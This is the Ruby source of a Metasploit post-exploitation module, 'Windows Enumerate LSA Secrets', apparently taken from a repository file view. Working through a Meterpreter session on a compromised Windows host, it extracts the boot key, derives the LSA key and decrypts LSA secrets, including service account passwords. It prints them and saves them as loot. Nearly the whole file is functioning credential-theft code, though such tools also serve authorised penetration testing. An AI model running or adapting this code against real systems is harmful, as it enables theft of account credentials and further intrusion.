cad6fee858
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
298 lines
8.8 KiB
Ruby
298 lines
8.8 KiB
Ruby
##
|
|
# $Id: enum_lsa.rb 15362 2012-04-21 rob $
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/windows/priv'
|
|
require 'msf/core/post/common'
|
|
require 'msf/core/post/windows/registry'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Common
|
|
include Msf::Post::Windows::Registry
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Windows Enumerate LSA Secrets",
|
|
'Description' => %q{
|
|
This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:
|
|
HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt
|
|
code from cachedump.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision: 15362 $',
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Author' => ['Rob Bathurst <rob.bathurst@foundstone.com>']
|
|
))
|
|
end
|
|
def capture_boot_key
|
|
bootkey = ""
|
|
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
|
|
|
%W{JD Skew1 GBG Data}.each do |k|
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
|
return nil if not ok
|
|
bootkey << [ok.query_class.to_i(16)].pack("V")
|
|
ok.close
|
|
end
|
|
|
|
keybytes = bootkey.unpack("C*")
|
|
descrambled = ""
|
|
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
|
|
|
|
0.upto(keybytes.length-1) do |x|
|
|
descrambled << [keybytes[descrambler[x]]].pack("C")
|
|
end
|
|
|
|
return descrambled
|
|
end
|
|
|
|
def capture_lsa_key(bootkey)
|
|
begin
|
|
#print_status("Getting PolSecretEncryptionKey...")
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
|
|
pol = ok.query_value("").data
|
|
#print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}")
|
|
ok.close
|
|
print_status("XP compatible client")
|
|
@vista = 0
|
|
rescue
|
|
#print_status("Trying 'V72' style...")
|
|
#print_status("Getting PolEKList...")
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
|
|
pol = ok.query_value("").data
|
|
#print_good("Pol: #{pol.unpack("H*")[0]}")
|
|
ok.close
|
|
print_status("V/7/2k8 compatible client")
|
|
@vista = 1
|
|
end
|
|
|
|
if( @vista == 1 )
|
|
lsakey = decrypt_lsa(pol, bootkey)
|
|
lsakey = lsakey[68,32]
|
|
#print_good(lsakey.unpack("H*")[0])
|
|
else
|
|
md5x = Digest::MD5.new()
|
|
md5x << bootkey
|
|
(1..1000).each do
|
|
md5x << pol[60,16]
|
|
end
|
|
|
|
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
|
rc4.key = md5x.digest
|
|
lsakey = rc4.update(pol[12,48])
|
|
lsakey << rc4.final
|
|
lsakey = lsakey[0x10..0x1F]
|
|
end
|
|
return lsakey
|
|
end
|
|
|
|
def convert_des_56_to_64(kstr)
|
|
des_odd_parity = [
|
|
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
|
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
|
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
|
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
|
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
|
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
|
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
|
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
|
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
|
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
|
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
|
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
|
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
|
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
|
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
|
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
|
]
|
|
|
|
key = []
|
|
str = kstr.unpack("C*")
|
|
|
|
key[0] = str[0] >> 1
|
|
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
|
|
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
|
|
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
|
|
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
|
|
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
|
|
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
|
|
key[7] = str[6] & 0x7F
|
|
|
|
0.upto(7) do |i|
|
|
key[i] = ( key[i] << 1)
|
|
key[i] = des_odd_parity[key[i]]
|
|
end
|
|
return key.pack("C*")
|
|
end
|
|
|
|
|
|
def decrypt_secret(secret, key)
|
|
|
|
# Ruby implementation of SystemFunction005
|
|
# the original python code has been taken from Credump
|
|
|
|
j = 0
|
|
decrypted_data = ''
|
|
|
|
for i in (0...secret.length).step(8)
|
|
enc_block = secret[i..i+7]
|
|
block_key = key[j..j+6]
|
|
des_key = convert_des_56_to_64(block_key)
|
|
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
|
|
|
d1.padding = 0
|
|
d1.key = des_key
|
|
d1o = d1.update(enc_block)
|
|
d1o << d1.final
|
|
decrypted_data += d1o
|
|
j += 7
|
|
if (key[j..j+7].length < 7 )
|
|
j = key[j..j+7].length
|
|
end
|
|
end
|
|
dec_data_len = decrypted_data[0].ord
|
|
|
|
return decrypted_data[8..8+dec_data_len]
|
|
|
|
end
|
|
|
|
def decrypt_lsa(pol, encryptedkey)
|
|
|
|
sha256x = Digest::SHA256.new()
|
|
sha256x << encryptedkey
|
|
(1..1000).each do
|
|
sha256x << pol[28,32]
|
|
end
|
|
|
|
aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
|
|
aes.key = sha256x.digest
|
|
|
|
#print_status("digest #{sha256x.digest.unpack("H*")[0]}")
|
|
|
|
decryptedkey = ''
|
|
|
|
for i in (60...pol.length).step(16)
|
|
aes.decrypt
|
|
aes.padding = 0
|
|
xx = aes.update(pol[i...i+16])
|
|
decryptedkey += xx
|
|
end
|
|
#print_good("Dec_Key #{decryptedkey}")
|
|
|
|
return decryptedkey
|
|
end
|
|
def reg_getvaldata(key,valname)
|
|
v = nil
|
|
begin
|
|
root_key, base_key = client.sys.registry.splitkey(key)
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
|
|
#print("reading key: #{key}#{valname}\n")
|
|
v = open_key.query_value(valname).data
|
|
open_key.close
|
|
rescue
|
|
print_error("Error opening key!")
|
|
end
|
|
return v
|
|
end
|
|
#Decrypted LSA key is passed into this function
|
|
def get_secret(lkey)
|
|
sec_str = "\n"
|
|
begin
|
|
#LSA Secret key location within the register
|
|
root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\"
|
|
begin
|
|
key_arr = meterpreter_registry_enumkeys(root_key)
|
|
key_arr.each do |keys|
|
|
begin
|
|
mid_key = root_key + "\\" + keys
|
|
sk_arr = meterpreter_registry_enumkeys(mid_key)
|
|
sk_arr.each do |mkeys|
|
|
begin
|
|
#CurrVal stores the currently set value of the key, in the case of
|
|
#services it usually come out as plan text
|
|
if(mkeys == "CurrVal")
|
|
val_key = root_key + "\\" + keys + "\\" + mkeys
|
|
v_name = ""
|
|
sec = reg_getvaldata(val_key, v_name)
|
|
if( @vista == 1 )
|
|
#Magic happens here
|
|
sec = sec[0..-1]
|
|
sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join
|
|
else
|
|
#and here
|
|
sec = sec[0xC..-1]
|
|
sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join
|
|
end
|
|
if(sec.length > 0)
|
|
if(keys[0,4] == "_SC_")
|
|
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
|
|
keys_c = keys[4,keys.length]
|
|
user_key = user_key << keys_c
|
|
n_val = "ObjectName"
|
|
user_n = reg_getvaldata(user_key, n_val)
|
|
|
|
#if the unencrypted value is not blank and is a service, print
|
|
print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n")
|
|
sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n"
|
|
else
|
|
#if the unencrypted value is not blank, print
|
|
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n")
|
|
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n"
|
|
end
|
|
end
|
|
else
|
|
next
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Unable to open: #{val_key}")
|
|
print_error("Error: #{e.class} #{e}")
|
|
end
|
|
end
|
|
rescue
|
|
print_error("Unable to open: #{mid_key}")
|
|
end
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Unable to open: #{root_key}")
|
|
print_error("Error: #{e.class} #{e}")
|
|
end
|
|
rescue
|
|
print_error("Cannot find key.")
|
|
end
|
|
return sec_str
|
|
end
|
|
|
|
# The sauce starts here
|
|
def run
|
|
print_status('Obtaining boot key...')
|
|
bootkey = capture_boot_key
|
|
#print_status("Boot key: #{bootkey.unpack("H*")[0]}")
|
|
|
|
print_status('Obtaining Lsa key...')
|
|
lsakey = capture_lsa_key(bootkey)
|
|
#print_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
|
|
|
|
hostname = session.sys.config.sysinfo['Computer']
|
|
print_status("Executing module against #{hostname}")
|
|
client.railgun.netapi32()
|
|
begin
|
|
secrets = hostname << get_secret(lsakey)
|
|
print_status("Writing to loot...")
|
|
path = store_loot(
|
|
'registry.lsa.sec',
|
|
'text/plain',
|
|
session,
|
|
secrets,
|
|
'reg_lsa_secrts.txt',
|
|
'Registry LSA Secret Decrypted File')
|
|
print_status("Data saved in: #{path}")
|
|
rescue ::Exception => e
|
|
print_error("Failed to run LSA Enum")
|
|
print_error("Error: #{e.class} #{e}")
|
|
end
|
|
end
|
|
end
|